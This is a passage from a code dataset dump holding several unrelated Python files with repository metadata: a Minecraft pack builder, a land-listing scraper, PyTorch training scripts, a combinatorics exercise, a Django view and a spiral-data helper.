 if len(nametags)>1:\n            manifest.export(self.pack_name,nameTags=nametags)\n        else:\n            manifest.export(self.pack_name)\n        copyfile(self.icon, f\"{self.pack_name}/pack_icon.png\")\n        larger_render = \"lookups/armor_stand.larger_render.geo.json\"\n        larger_render_path = f\"{self.pack_name}/models/entity/armor_stand.larger_render.geo.json\"\n        copyfile(larger_render, larger_render_path)\n        self.rc.export(self.pack_name)\n        file_paths = []\n        shutil.make_archive(\"{}\".format(self.pack_name), 'zip', self.pack_name)\n        os.rename(f'{self.pack_name}.zip',f'{self.pack_name}.mcpack')\n        shutil.rmtree(self.pack_name)\n        print(\"Pack Making Completed\")\n        self.timers[\"finished\"]=time.time()-self.timers[\"previous\"]\n        self.timers[\"total\"]=time.time()-self.timers[\"start\"]\n        \n        return f'{self.pack_name}.mcpack'\n    def _process_block(self,block):\n        rot = None\n        top = False\n        open_bit = False\n        data=0\n        skip=False\n        variant=\"default\"\n        for key in nbt_def.keys():\n            if nbt_def[key]== \"variant\" and key in block[\"states\"].keys():\n                variant = [key,block[\"states\"][key]]\n            if nbt_def[key] == \"rot\" and key in block[\"states\"].keys():\n                try:\n                    rot = int(block[\"states\"][key])\n                except:\n                    rot = str(block[\"states\"][key])\n                \n            if nbt_def[key]== \"top\" and key in block[\"states\"].keys():\n                top = bool(block[\"states\"][key])\n            if nbt_def[key]== \"open_bit\" and \"open_bit\" in block[\"states\"].keys():\n                open_bit = bool(block[\"states\"][key])\n            if nbt_def[key]== \"data\" and key in block[\"states\"].keys():\n                data = int(block[\"states\"][key])\n            if key == \"rail_direction\" and key in block[\"states\"].keys():\n                data = str(block[\"states\"][key].as_unsigned)\n                if \"rail_data_bit\" in block[\"states\"].keys():\n                    data += \"-\"+str(block[\"states\"][\"rail_data_bit\"].as_unsigned)\n\n        if \"wood_type\" in block[\"states\"].keys():\n            variant = [\"wood_type\",block[\"states\"][\"wood_type\"]]\n            if block[\"name\"] == \"minecraft:wood\":\n                keys = block[\"states\"][\"wood_type\"]\n                if bool(block[\"states\"][\"stripped_bit\"]):\n                    keys+=\"_stripped\"\n                variant = [\"wood\",keys]\n        return [rot, top, variant, open_bit, data, skip]\n    def get_skipped(self):\n        ## temp folder would be a good idea\n        if len(self.unsupported_blocks)>1:\n            fileName=\"{} skipped.txt\".format(self.pack_name)\n            with open(fileName,\"w+\") as text_file:\n                text_file.write(\"These are the skipped blocks\\n\")\n                for skipped in self.unsupported_blocks:\n                    text_file.write(f\"{skipped}\\n\")\n        return self.dead_blocks\n\n\n", "repo_name": "RavinMaddHatter/Structura", "sub_path": "structura_core.py", "file_name": "structura_core.py", "file_ext": "py", "file_size_in_byte": 10923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 183, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 14, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 17, "usage_type": "call"}, {"api_name": "time.time", "line_number": 18, "usage_type": "call"}, {"api_name": "render_controller_class.render_controller", "line_number": 21, "usage_type": "call"}, {"api_name": "armor_stand_class.armorstand", "line_number": 22, "usage_type": "call"}, {"api_name": "animation_class.animations", "line_number": 24, "usage_type": "call"}, {"api_name": "big_render_controller.render_controller", "line_number": 51, "usage_type": "call"}, {"api_name": "structure_reader.combined_structures", "line_number": 55, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 76, "usage_type": "call"}, {"api_name": "structure_reader.process_structure", "line_number": 79, "usage_type": "call"}, {"api_name": "armor_stand_geo_class.armorstandgeo", "line_number": 111, "usage_type": "call"}, {"api_name": "manifest.export", "line_number": 170, "usage_type": "call"}, {"api_name": "manifest.export", "line_number": 172, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 173, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 176, "usage_type": "call"}, {"api_name": "shutil.make_archive", "line_number": 179, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 180, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 181, "usage_type": "call"}, {"api_name": "time.time", "line_number": 183, "usage_type": "call"}, {"api_name": "time.time", "line_number": 184, "usage_type": "call"}]}
{"seq_id": "73358471946", "text": "from bs4 import BeautifulSoup\nimport requests\n\nlocations = ['']\nbaseUrl = 'https://www.land.com'\n\nfor location in locations:\n    url = f'{baseUrl}/{location}/riverfront-property/no-house/under-50000/over-5-acres/is-active/'\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'}\n    content = requests.get(url, headers=headers).text\n    soup = BeautifulSoup(content, 'html.parser')\n\n    titles = [title.getText() for title in soup.find_all(\n        name=\"div\", class_=\"_12a2b\")]\n\n    listings = [listing.find('a')['href'] for listing in soup.find_all(\n        name=\"div\", class_=\"_12a2b\")]\n\n    print('**********')\n    print(location)\n    print('**********')\n\n    for i in range(0, len(titles)):\n        try:\n            acres = float(titles[i].split()[0].replace(',', ''))\n            price = int(titles[i].split()[3].replace(',', '').replace('$', ''))\n        except IndexError:\n            pass\n\n        if acres >= 5 and 50000 >= price >= 0:\n            print('     ' + baseUrl + listings[i])\n", "repo_name": "ApolloEagle/python", "sub_path": "landwatch/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1105, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 11, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "10381067174", "text": "import matplotlib.pyplot as plt\nimport torch\nimport torch.utils.data as Data\n\n# 几种优化器进行比较\n# SGD, Momentum, RMSprop, Adam\n\ntorch.manual_seed(1)\n\nLR = 0.01\nBATCH_SIZE = 32\nEPOCH = 12\n\n# create dataset\nx = torch.unsqueeze(torch.linspace(-1, 1, 1000), dim=1)\ny = x.pow(3) + 0.1 * torch.normal(torch.zeros(*x.size()))\n\nplt.scatter(x.numpy(), y.numpy(), s=9)\nplt.show()\n\ntorch_dataset = Data.TensorDataset(x, y)\nloader = Data.DataLoader(dataset=torch_dataset, batch_size=BATCH_SIZE, shuffle=True, num_workers=2)\n\n\nclass Net(torch.nn.Module):\n    def __init__(self, n_input, n_hidden, n_output):\n        super(Net, self).__init__()\n        self.hidden = torch.nn.Linear(n_input, n_hidden)\n        self.output = torch.nn.Linear(n_hidden, n_output)\n\n    def forward(self, x):\n        return self.output(torch.sigmoid(self.hidden(x)))\n\n\nLR = 0.01\nnet_SGD = Net(1, 9, 1)\nnet_Momentum = Net(1, 9, 1)\nnet_RMSprop = Net(1, 9, 1)\nnet_Adam = Net(1, 9, 1)\nnets = [net_SGD, net_Momentum, net_RMSprop, net_Adam]\n\nopt_SGD = torch.optim.SGD(net_SGD.parameters(), lr=LR)\nopt_Momentum = torch.optim.SGD(net_Momentum.parameters(), lr=LR, momentum=0.8)\nopt_RMSprop = torch.optim.RMSprop(net_RMSprop.parameters(), lr=LR, alpha=0.9)\nopt_Adam = torch.optim.Adam(net_Adam.parameters(), lr=LR, betas=(0.9, 0.99))\noptimizers = [opt_SGD, opt_Momentum, opt_RMSprop, opt_Adam]\n\nloss_func = torch.nn.MSELoss()\nlosses_his = [[], [], [], []]\n\nfor i in range(EPOCH):\n    print('EPOCH:', i)\n    for step, (b_x, b_y) in enumerate(loader):\n        for net, opt, l_his in zip(nets, optimizers, losses_his):\n            output = net(b_x)\n            loss = loss_func(output, b_y)\n            opt.zero_grad()\n            loss.backward()\n            opt.step()\n            l_his.append(loss.data.numpy())\n\nlabels = ['SGD', 'Momentum', 'RMSprop', 'Adam']\nfor i, l_his in enumerate(losses_his):\n    plt.plot(l_his, label=labels[i])\nplt.legend(loc='best')\nplt.xlabel('Steps')\nplt.ylabel('Loss')\nplt.ylim((0, 0.2))\nplt.show()\n", "repo_name": "strawsyz/straw", "sub_path": "study/pytorch_study/06.py", "file_name": "06.py", "file_ext": "py", "file_size_in_byte": 1995, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.manual_seed", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.unsqueeze", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.linspace", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.normal", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.sigmoid", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.optim.RMSprop", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}]}
{"seq_id": "37959197520", "text": "import torch\nimport time\nimport os\nimport sys\n\nimport torch\nimport argparse\n\n#from utils.dataset_mms_cat import dataset_mms\nfrom utils.util import write_num_ls, calc_metrics\n\n\n\nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import auc\n\nimport random\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nimport torch.nn as nn\nimport numpy as np\nfrom net.clf_mm import be_ma_net\nimport ml_collections\nfrom termcolor import colored \nfrom sklearn.metrics import roc_curve\nfrom sklearn.metrics import auc\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-d1_root', type=str,default='')\nparser.add_argument('-d2_root', type=str,default='')\nparser.add_argument('-t2_root', type=str,default='')\nparser.add_argument('-nf_root', type=str,default='')\n\nparser.add_argument('-d1_sr', type=str,default='')\nparser.add_argument('-d2_sr', type=str,default='')\nparser.add_argument('-t2_sr', type=str,default='')\nparser.add_argument('-nf_sr', type=str,default='')\n\nparser.add_argument('-train_path', type=str,default='')\nparser.add_argument('-vali_path', type=str,default='')\n\nparser.add_argument('-model_save', type=str,default='')\n\nparser.add_argument('-use_sobel', type=str,default='yes')\n\nparser.add_argument('-seq', type=int)\nargs = parser.parse_args()\n\n\n\ndef train_mms_config():\n\n\n\n    config = ml_collections.ConfigDict()\n    \n\n    \n    # config.seq=args.seq\n    # config.use_sobel=args.us\n    \n    config.seq=args.seq\n    if args.use_sobel=='yes':\n        config.use_sobel=True\n    else:\n        config.use_sobel=False\n \n    config.d1_root=args.d1_root    \n    config.d2_root=args.d2_root\n    config.t2_root=args.t2_root\n    config.nonfs_root=args.nf_root\n\n    config.d1_sr=args.d1_sr\n    config.d2_sr=args.d2_sr\n    config.t2_sr=args.t2_sr\n    config.nf_sr=args.nf_sr\n    \n    config.train_path=args.train_path\n    config.vali_path=args.vali_path\n    \n    config_model_save=args.model_save\n    \n   \n    if config.use_sobel:\n        config.log_prefix='four_mods_exp_'+str(config.seq)\n    else:\n        config.log_prefix='four_mods_nosobel_exp_'+str(config.seq)\n\n    config.model_save=config_model_save+config.log_prefix+'/'\n    \n    config.log_path=config.model_save\n    config.bs=16\n    config.lr=0.01\n    config.gpu='0'\n    config.seed=1234\n\n    config.min_epoch=1\n    config.max_epoch=200\n\n\n    config.log_name='log_from_epoch_{}_to_{}.txt'.format(config.min_epoch,config.max_epoch)\n    config.use_8bit=False\n    config.deterministic=True\n\n    return config\n\nconfig=train_mms_config()\n\nos.makedirs(config.model_save,exist_ok=True)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = config.gpu\n\nres_log = config.log_prefix+'_res_log.txt'  \nloss_log = config.log_prefix+'_loss_ilog.txt'\nloss_log_e =config.log_prefix+'_loss_elog.txt'\n\n\nres_fd= open(config.log_path+res_log, 'w')\nloss_fd_i = open(config.log_path+loss_log, 'w')\nloss_fd_e = open(config.log_path+loss_log_e, 'w')\n\n\n\n\nif config.deterministic:\n    cudnn.benchmark = False\n    cudnn.deterministic = True\n    random.seed(config.seed)\n    np.random.seed(config.seed)\n    torch.manual_seed(config.seed)\n    torch.cuda.manual_seed(config.seed)\n\ndef worker_init_fn(worker_id):\n    random.seed(config.seed + worker_id)\n\n\ndef get_net_trainer():\n    if config.use_sobel:  ##8 channels\n        \n        print(\"I am 8 channels\")\n        from utils.dataset_8m import dataset\n        ## d1_root, d2_root, t2_root, nf_root\n        train_data = dataset(config.d1_root,config.d1_sr,config.d2_root,config.d2_sr,\n                config.t2_root,config.t2_sr,config.nonfs_root,config.nf_sr,config.train_path)\n        trainloader = DataLoader(train_data, batch_size=config.bs, shuffle=True, num_workers=0, pin_memory=True,\n                                 worker_init_fn=worker_init_fn)\n      \n        vali_data = dataset(config.d1_root,config.d1_sr,config.d2_root,config.d2_sr,\n                config.t2_root,config.t2_sr,config.nonfs_root,config.nf_sr,config.vali_path)\n        valiloader = DataLoader(vali_data, batch_size=1, shuffle=True, num_workers=0, pin_memory=True,\n                                worker_init_fn=worker_init_fn)\n        net = be_ma_net(8)\n        net.cuda()\n        return net,trainloader,valiloader,len(train_data),len(vali_data)\n    \n    else:  ## 4 channels\n        from utils.dataset_4m import dataset\n\n        print(colored(\"I am 4 channels!\",'green'))\n        train_data = dataset(config.d1_root,config.d2_root, config.t2_root,config.nonfs_root,config.train_path)\n        trainloader = DataLoader(train_data, batch_size=config.bs, shuffle=True, num_workers=0, pin_memory=True,\n                                 worker_init_fn=worker_init_fn)\n      \n        vali_data = dataset(config.d1_root,config.d2_root, config.t2_root,config.nonfs_root,config.vali_path)\n        valiloader = DataLoader(vali_data, batch_size=1, shuffle=True, num_workers=0, pin_memory=True,\n                                worker_init_fn=worker_init_fn)\n                               \n        net = be_ma_net(4)\n        net.cuda()\n        return net,trainloader,valiloader,len(train_data),len(vali_data)\n        \ndef worker_init_fn(worker_id):\n    random.seed(args.seed + worker_id)\n\n\ndef accuary(outputs, label):\n    _, predicted = torch.max(outputs.data, 1)\n    # print(predicted)\n    # print(predicted.data)\n    sum = 0\n    for i in range(predicted.shape[0]):\n        if predicted[i] == label[i]:\n            sum += 1\n    return float(sum / len(predicted))\n\n\ndef acc_count(outputs, label):\n    _, predicted = torch.max(outputs.data, 1)\n    sum = 0\n    for i in range(predicted.shape[0]):\n        if predicted[i] == label[i]:\n            sum += 1\n    return sum\n\ndef vali(net, valiloader, length):\n    net.eval()\n    predict = []\n    label = []\n    pred_proba = []\n    vali_acc_sum = 0\n\n    for idx, (volume_bt, label_bt,) in enumerate(valiloader):\n\n        volume_bt, label_bt = volume_bt.cuda(),label_bt.cuda()\n        outputs = net(volume_bt)\n        acc = acc_count(outputs, label_bt)\n        vali_acc_sum += acc\n\n        _, predict_batch = torch.max(outputs.data, 1)\n        softmax_out = F.softmax(outputs, dim=1).cpu()\n        proba = np.squeeze(softmax_out.data.numpy())\n        label_v = label_bt[0].item()\n        pred_v = predict_batch[0].item()\n\n        predict.append(pred_v)\n        label.append(label_v)\n        pred_proba.append(proba)\n\n    vali_acc = vali_acc_sum / length\n\n    return vali_acc, label, predict, pred_proba\n\nif __name__ == '__main__':\n    \n    print(res_log)\n    print(loss_log)\n    print(loss_log_e)\n    print('train_root is {} {} {} {}, train_path is {}'.format(config.d1_root,config.d1_root,config.t2_root,config.nonfs_root,config.train_path))\n    print('vali_path is {}'.format(config.vali_path))\n    print('batch_size is: {}, init_lr is: {}'.format(config.bs,config.lr))\n    print(\"save_path is: \",config.model_save)\n    print(\"log save_path is: \",config.log_path)\n    print(\"################# Loading Data ###########################\\n\")\n    \n    net,trainloader,valiloader,train_len,vali_len=get_net_trainer()\n \n    optimizer = optim.SGD(net.parameters(), lr=config.lr, momentum=0.9, weight_decay=0.0001)\n    \n    lr_ = config.lr\n    \n    criterion = nn.CrossEntropyLoss()\n    criterion.cuda()\n\n    print(\"the number of train samples.\", len(trainloader))\n    print(\"#################### Train Start ####################\")\n\n\n    save_path = config.model_save\n    print(save_path)\n    if not os.path.exists(save_path):\n        os.makedirs(save_path, exist_ok=True)\n\n    for iter_num in range(1,config.max_epoch):\n        net.train()\n        loss_sum = 0\n        time1 = time.time()\n        for idx, (volume_batch,label_batch,) in enumerate(trainloader):\n            volume_batch, label_batch = volume_batch.cuda(), label_batch.cuda()\n\n            outputs = net(volume_batch)\n            # outputs = net(volume_batch)\n\n            # print(outputs.shape)\n            loss = criterion(outputs, label_batch)\n            loss_iter_v=loss.item()\n            #print(loss_iter_v)\n            loss_fd_i.write(str(loss_iter_v) + ' ')\n            ## acc=accuary(outputs,label_batch)\n            loss_sum += loss_iter_v\n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n\n\n        time2 = time.time()\n        loss_v = loss_sum / len(trainloader)\n        print('iteration:{}, loss value:{}, time:{}.'.format(iter_num, loss_v, time2 - time1))\n        res_fd.writelines('iteration:{}, loss value:{}, time:{}.\\n'.format(iter_num, loss_v, time2 - time1))\n        loss_fd_e.writelines('iteration:{}, loss value:{}.\\n'.format(iter_num, loss_v))\n               \n        if iter_num%10==0:\n            train_acc, _, _, _ = vali(net, trainloader, train_len)\n            vali_acc, label, predict, pred_proba = vali(net, valiloader, vali_len)\n\n            print('train acc: {} and vali_acc: {}'.format(train_acc,vali_acc))\n            res_fd.writelines('train acc: {} and vali_acc: {}\\n'.format(train_acc,vali_acc))\n            pred_proba = np.array(pred_proba)[:, -1].tolist()\n            auc_v,acc,sensitivity,specificity,npv,ppv,=calc_metrics(label, predict, pred_proba, False)\n            print(colored('auc_v {},acc {},sensitivity {},specificity {},npv {},ppv {}'.format(auc_v,acc,sensitivity,specificity,npv,ppv),'green'))\n            res_fd.writelines(\"auc_v {},acc {},sensitivity {},specificity {},npv {},ppv {}\\n\".format(auc_v,acc,sensitivity,specificity,npv,ppv))\n            model_name='iter_' + str(iter_num + 1)+'_'+str(auc_v)+'_'+str(acc)+'.pth'\n            mode_path = os.path.join(save_path, model_name)\n            torch.save(net.state_dict(), mode_path)\n", "repo_name": "BCClfer/Classification-of-benign-and-malignant-lesions", "sub_path": "train_multi_mods.py", "file_name": "train_multi_mods.py", "file_ext": "py", "file_size_in_byte": 9675, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 31, "usage_type": "call"}, {"api_name": "ml_collections.ConfigDict", "line_number": 59, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 113, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 115, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 130, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.backends.cudnn.deterministic", "line_number": 131, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 131, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 133, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 135, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 138, "usage_type": "call"}, {"api_name": "utils.dataset_8m.dataset", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 149, "usage_type": "call"}, {"api_name": "utils.dataset_8m.dataset", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 154, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 156, "usage_type": "name"}, {"api_name": "net.clf_mm.be_ma_net", "line_number": 156, "usage_type": "call"}, {"api_name": "net.clf_mm.cuda", "line_number": 157, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 157, "usage_type": "name"}, {"api_name": "net.clf_mm", "line_number": 158, "usage_type": "name"}, {"api_name": "termcolor.colored", "line_number": 163, "usage_type": "call"}, {"api_name": "utils.dataset_4m.dataset", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 165, "usage_type": "call"}, {"api_name": "utils.dataset_4m.dataset", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 169, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 172, "usage_type": "name"}, {"api_name": "net.clf_mm.be_ma_net", "line_number": 172, "usage_type": "call"}, {"api_name": "net.clf_mm.cuda", "line_number": 173, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 173, "usage_type": "name"}, {"api_name": "net.clf_mm", "line_number": 174, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 192, "usage_type": "call"}, {"api_name": "net.clf_mm.eval", "line_number": 200, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 200, "usage_type": "name"}, {"api_name": "net.clf_mm", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 214, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 215, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 239, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 241, "usage_type": "name"}, {"api_name": "net.clf_mm.parameters", "line_number": 241, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 241, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 245, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 255, "usage_type": "call"}, {"api_name": "net.clf_mm.train", "line_number": 258, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 258, "usage_type": "name"}, {"api_name": "time.time", "line_number": 260, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 264, "usage_type": "call"}, {"api_name": "time.time", "line_number": 279, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 286, "usage_type": "argument"}, {"api_name": "net.clf_mm", "line_number": 287, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 291, "usage_type": "call"}, {"api_name": "utils.util.calc_metrics", "line_number": 292, "usage_type": "call"}, {"api_name": "termcolor.colored", "line_number": 293, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 296, "usage_type": "call"}, {"api_name": "os.path", "line_number": 296, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 297, "usage_type": "call"}, {"api_name": "net.clf_mm.state_dict", "line_number": 297, "usage_type": "call"}, {"api_name": "net.clf_mm", "line_number": 297, "usage_type": "name"}]}
{"seq_id": "3242974811", "text": "# Chapter 6, Computer Project 7: Given a positive integer n and a nonnegative integer r\n# not exceeding n, list all the r-permutations of the set {1, 2, 3, . . . , n} in lexicographic order.\n# The algorithm given in Introductory Combinatorics by Brualdi involves generating r-subsets of input set\n# and for each r-subset permuting it and then determining the lexicographic ordering using the formula \n# which will be discussed in the comments preceding the function in the program that uses the formula.\nfrom rcombs66 import rcombs\nfrom permslexi65 import allpermutations\nfrom permscombs61 import permutations, combinations\nfrom itertools import permutations\n\ndef main():\n    # Input:\n    r = 3\n    n = 3\n    # Generate arr for given value of n\n    inputArr = [x for x in range(1, n + 1)]\n    \n    \n    # Output\n    answer = rperms(inputArr,r)\n    # Compare size of answer with pythons list of r-permutations\n    print(len(answer) == (len(list(permutations([x for x in range(1,n+1)], r))))) # True\n    \n    \n# Generate all r-permutations of a set {1,2,...,n} inlexicographic order.   \ndef rperms(inputArr, r):\n    # Generate r-combinations:\n    rcombsArr = rcombs(inputArr, r)\n    # Generate all permutations of the r-combinations\n    allpermsArr = []\n    for rcomb in rcombsArr:\n        allperms = allpermutations(r, rcomb)\n        allpermsArr = allpermsArr + allperms\n    allpermsArr = lexicographicorder(allpermsArr)\n    return allpermsArr\n    \n\n# Sort the list of permutations\ndef lexicographicorder(listOfPerms):\n    listOfPerms = sorted(listOfPerms)\n    return listOfPerms\n\n\n\nif __name__ == \"__main__\":\n    main()", "repo_name": "risingh1981/Discrete-Math-Rosen-7th-Edition", "sub_path": "Chapter6/rperms67.py", "file_name": "rperms67.py", "file_ext": "py", "file_size_in_byte": 1619, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "itertools.permutations", "line_number": 22, "usage_type": "call"}, {"api_name": "rcombs66.rcombs", "line_number": 28, "usage_type": "call"}, {"api_name": "permslexi65.allpermutations", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "28112753623", "text": "from django.shortcuts import render\nfrom webapp import  forms\nfrom django.http import  HttpResponseRedirect\n\n\n\ndef thank(request):\n    return render(request,'thanks.html')\n\n\ndef myviews(request):\n    form=forms.myform()\n    if request.method=='POST':\n        form=forms.myform(request.POST)\n        if form.is_valid():\n            print('validation success')\n            form.save(commit=True)\n        return HttpResponseRedirect('/bye')\n    else:\n        form=forms.myform()\n    return  render(request,'welcome.html',{'form':form})\n\n\n\n\n\n\n\n# Create your views here.\n", "repo_name": "abhishekrawatdotcom/repo_mbf", "sub_path": "MBF/webapp/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 566, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.render", "line_number": 8, "usage_type": "call"}, {"api_name": "webapp.forms.myform", "line_number": 12, "usage_type": "call"}, {"api_name": "webapp.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "webapp.forms.myform", "line_number": 14, "usage_type": "call"}, {"api_name": "webapp.forms", "line_number": 14, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 18, "usage_type": "call"}, {"api_name": "webapp.forms.myform", "line_number": 20, "usage_type": "call"}, {"api_name": "webapp.forms", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 21, "usage_type": "call"}]}
{"seq_id": "119139677", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef data_spiral(points=20, dimensionality=2, classes=3):\n    # https://cs231n.github.io/neural-networks-case-study/\n    N = points  # number of points per class\n    D = dimensionality  # dimensionality\n    K = classes  # number of classes\n    X = np.zeros((N * K, D))  # data matrix (each row = single example)\n    y = np.zeros(N * K, dtype='uint8')  # class labels\n    for j in range(K):\n        ix = range(N * j, N * (j + 1))\n        r = np.linspace(0.0, 1, N)  # radius\n        t = np.linspace(j * 4, (j + 1) * 4, N) + np.random.randn(N) * 0.2  # theta\n        X[ix] = np.c_[r * np.sin(t), r * np.cos(t)]\n        y[ix] = j\n    return X, y\n\n\ndef visualize(X, y):\n    # lets visualize the 2D data:\n    plt.scatter(X[:, 0], X[:, 1], c=y, s=40, cmap=plt.cm.Spectral)\n    plt.show()\n\n\ndef one_hot(inputs):\n    input_onehot = np.max(inputs) + 1\n    input_onehot = np.eye(input_onehot)[inputs]\n    return input_onehot\n", "repo_name": "Loganche/ml-framework", "sub_path": "data.py", 